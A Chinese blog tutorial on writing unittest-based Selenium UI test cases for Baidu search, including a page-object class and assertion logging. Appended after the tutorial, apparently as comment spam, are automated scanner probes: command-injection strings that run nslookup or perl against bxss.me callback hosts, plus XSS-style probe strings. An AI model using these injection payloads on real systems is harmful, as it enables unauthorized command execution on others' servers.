Misty rain
python ui自动化框架 5:编写测试用例testcase
本节是框架的主要编程点,UI测试用例的脚本编写,继承unittest.TestCase来写用例
在项目uitest下新建testcase文件夹;
在testcase文件夹中新建test_search.py,注意:文件名必须test_开头,在以后用例集合中会用到。
class TestSearch(unittest.TestCase):
# 用例执行前
def setUp(self):
print('用例执行前')
# 用例执行后
def tearDown(self):
print('用例执行后')
# 输入空
def test_searchnull(self):
print('用例a')
上面是继承了unittest后实现的三个方法,setUp和tearDown分别为用例执行前和后。
接下来我们在用例执行前打开浏览器并调用要测试的页面:
# 打开浏览器
self.driver = be.open_browser(self, '百度搜索')
# 调用页面
self.search = SearchPage(self.driver)
# 隐式等待30,设置一次即可
self.search.wait(30)
不要忘了导包:
import unittest
import commont.browser_engine as be
from commont.getlog import logger
from page.search_page import SearchPage
接下来我们在用例执行后:关闭浏览器
# 关闭浏览器
self.driver.quit()
编写测试用例test_searchnull:
# 输入空
def test_searchnull(self):
print('用例a')
self.search.search_input_search('')
self.search.search_btn_search()
self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')
使用assert来判断是否达到预期;关于assert的使用可以参考我其他文章,这里不做重点讲解。
这里我们来编写俩个用例:
编写测试用例test_searchtest:
# 输入test
def test_searchtest(self):
print('用例b')
self.search.search_input_search('test')
self.search.search_btn_search()
searchtext = self.search.search_get_searchtext()
# 判断页面内容是否包含test
self.assertIn('test', searchtext, '验证失败')
这里我们发现调用了search_get_searchtext方法报错,是因为search_page里面没有该方法,我们切换到该文件进行添加:
"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:search_page.py
@Software:PyCharm
@Desc:百度搜索页面
"""
from commont.base_page import BasePage
class SearchPage(BasePage):
"""
按钮:使用btn_开头
输入框:使用input_开头
选择框:使用select_开头
统一小写
"""
input_search = 'xpath=>//*[@id="kw"]=>输入百度搜索框'
btn_search = 'xpath=>//*[@id="form"]/span[2]=>点击搜索按钮'
# 获取搜索完成后页面元素的内容
get_searchtext = 'xpath=>//*[@id="content_left"]=>搜索结果页面内容'
def search_input_search(self, text):
self.type(self.input_search, text)
def search_btn_search(self):
self.click(self.btn_search)
def search_get_searchtext(self):
search = self.get_elementtext(self.get_searchtext)
return search.text
使用try来装饰assert方法:
try:
self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')
logger.critical('用例通过')
except:
logger.error('用例失败')
# 定义为用例失败,主动抛出异常
raise RuntimeError('用例失败')
同样:用例b也是一样。
接下来右键执行该用例。
发现虽然用例执行成功,但是控制台有一条错误信息:
DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
element = self.driver.find_element_by_xpath(selector_value)
find_element_by_xpath已弃用,请使用find_element
我们打开base_page:
将查找元素的xpath方法换一个:
element = self.driver.find_element(By.XPATH, selector_value)
再次运行问题解决。
打开log/**.log查看日志文件发现中文乱码。
我们打开commont/getlog.py:
再次运行发现正常。
合并用例a和b
我们发现用例a和b有共同存在的地方,我们将之合并为方法search:
# 发现用例用有相同的方法,合并
def search(self, text):
self.search.search_input_search(text)
self.search.search_btn_search()
最终的测试用例test_search.py如下:
"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:test_search.py
@Software:PyCharm
@Desc:测试用例
"""
import unittest
import commont.browser_engine as be
from commont.getlog import logger
from page.search_page import SearchPage
class TestSearch(unittest.TestCase):
# 用例执行前
def setUp(self):
print('用例执行前')
# 打开浏览器
self.driver = be.open_browser(self, '百度搜索')
# 调用页面
self.search = SearchPage(self.driver)
# 隐式等待30,设置一次即可
self.search.wait(30)
# 用例执行后
def tearDown(self):
print('用例执行后')
# 关闭浏览器
self.driver.quit()
# 输入空
def test_searchnull(self):
print('用例a')
self.tsearch('')
try:
self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')
logger.critical('用例通过')
except:
logger.error('用例失败')
# 定义为用例失败,主动抛出异常
raise RuntimeError('用例失败')
# 输入test
def test_searchtest(self):
print('用例b')
self.tsearch('test')
searchtext = self.search.search_get_searchtext()
# 判断页面内容是否包含test
try:
self.assertIn('test', searchtext, '验证失败')
logger.critical('用例通过')
except:
logger.error('用例失败')
# 定义为用例失败,主动抛出异常
raise RuntimeError('用例失败')
# 发现用例用有相同的方法,合并
def tsearch(self, text):
self.search.search_input_search(text)
self.search.search_btn_search()
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup hitswfmpzqqek7d314.bxss.me||perl -e "gethostbyname('hitswfmpzqqek7d314.bxss.me')")&'\"`0&(nslookup hitswfmpzqqek7d314.bxss.me||perl -e "gethostbyname('hitswfmpzqqek7d314.bxss.me')")&`'
|(nslookup hitwfljzrxlbcec0e5.bxss.me||perl -e "gethostbyname('hitwfljzrxlbcec0e5.bxss.me')")
`(nslookup hitdshyzecxqdbd590.bxss.me||perl -e "gethostbyname('hitdshyzecxqdbd590.bxss.me')")`
;(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")|(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")&(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")
1
1
1
1
1
1
1
1
1
1
1
1
1D2lAHF8lIO
1
1
1
1
1
1
1
1
1
1
1
1'"()&%
RFJP(9478)'"()&%
RFJP(9876)1
{!{data:image/webp;base64,UklGRqQEAABXRUJQVlA4WAoAAAAwAAAA0AMAKwEASUNDUBgCAAAAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABo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